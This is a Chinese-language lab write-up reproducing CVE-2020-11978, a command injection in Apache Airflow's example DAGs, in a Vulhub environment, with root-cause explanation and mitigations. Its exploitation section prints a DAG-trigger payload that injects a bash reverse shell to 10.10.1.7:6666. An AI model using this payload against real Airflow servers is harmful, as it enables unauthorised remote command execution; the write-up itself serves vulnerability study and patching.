简介

• 漏洞软件：Apache Airflow
• 影响版本：<= 1.10.10

环境

• Vulhub 漏洞测试靶场

复现步骤

• 进入 /root/vulhub/airflow/CVE-2020-11978/ 目录
• 运行以下命令启动环境

# 初始化数据库
docker compose run airflow-init
# 开启服务
docker compose up -d

• 在客户端访问 server-ip:8080
  
• 找到 example_trigger_target_dag 开启 (有向无环图) 后变为 “On” 状态
  
• 在这一列的右侧点击如下按钮
  
• 输入以下字符后点击 Trigger 按钮
  
• 点击完成后 airflow_dag_success_touch_file 文件就会被创建在 /tmp 目录下，使用以下命令在容器中进行查询和验证
  

原因

• 默认情况下 Airflow Web UI 是未授权访问的，直接可以登录，而登录后，只能查看 DAG 的调度状态等，无法进行更多操作
• 但 Airflow Web UI 中提供了触发 DAG 运行的功能，以便测试 DAG，同时 Airflow 为了让使用者可以快速熟悉其 DAG 开发流程和功能，为了更好的示例这些 DAG 覆盖了大多的执行器
• 而其中两个 DAG 组合起来可触发命令注入导致漏洞产生，如下所示，通过一个DAG（example_trigger_controller_dag）来动态的调用另外一个 DAG（example_trigger_target_dag）

#airflow/example_dags/example_trigger_target_dag.py
1. 1st DAG (example_trigger_controller_dag) 持有一个 TriggerDagRunOperator，它将触发第二个 DAG
#airflow/example_dags/example_trigger_controller_dag.py
2. 2nd DAG (example_trigger_target_dag) 它将由第一个 DAG 中的 TriggerDagRunOperator 触发

• 即通过 example_trigger_controller_dag 内部定义的 conf={“message”: “Hello World”} 来触发 example_trigger_target_dag 中 bash_command=‘echo "Here is the message:’{{ dag_run.conf[“message”] if dag_run else “” }}‘"’ 的运行
  
  
• 根据上面信息可以看出，输入 dag_run.conf[“message”] 由第一个 DGA 传递过来的，看起来无法控制。而实际上熟悉下 Airflow 相关代码即可发现 Airflow 中 DAG Run 是代表 DAG 及时实例化的对象，而其中 conf 正是用于传递参数的方式， Airflow 提供了多渠道可以修改 conf，包括命令行例如：

airflow dags trigger --conf '{"conf1": "value1"}' example_parametrized_dag

利用

• kali 打开 nc
  
• 输入以下消息并触发 DAG

#socket 连接
{"message":"'\";bash -i >& /dev/tcp/10.10.1.7/6666 0>&1;#"}

• 连接成功
  

缓解

• 升级到 1.10.10 版本之后

• 删除或者禁用 DAG，可自行删除或在配置文件中禁用默认 DAGload_examples=False

• 参考

• Vulhub 漏洞环境详情：https://vulmon.com/vulnerabilitydetails?qid=CVE-2020-11978&scoretype=cvssv3

• Airflow dag 中的命令注入(csdn)：https://xz.aliyun.com/t/8037